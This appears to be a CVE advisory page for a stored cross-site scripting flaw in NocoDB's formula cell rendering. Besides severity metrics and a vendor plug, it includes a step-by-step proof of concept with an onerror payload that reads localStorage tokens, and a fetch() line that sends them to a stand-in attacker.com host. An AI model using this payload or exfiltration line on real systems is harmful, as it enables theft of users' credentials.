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🛡️ CVE-2023-49781 — nocodb

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-79 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue

Summary

A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.

Details

The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.

PoC

Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T}

Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)

Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims

Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage

The attackers can use the fetch([http://attacker.com/?localStorage.getItem('nocodb-gui-v2')](http://attacker.com/?localStorage.getItem(%27nocodb-gui-v2%27))) to replace the alert and then steal the victims' credentials in their attacker.com website.

Impact

Stealing the credentials of NocoDB user that clicks the malicious link.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2023-49781 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2023-49781 is recorded against 1 package.

  • nocodb

Timeline and source

Published on 13 May 2024 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Other advisories for this package

nocodb has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-79: Cross-site Scripting (XSS)) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
CWE CWE-79
Public Exploit ⚠️ Yes
Source OSV
Published 2024-05-13
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
nocodb — —

Similar Threats

Exploit Protection

Are you running nocodb?

CVE-2023-49781 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

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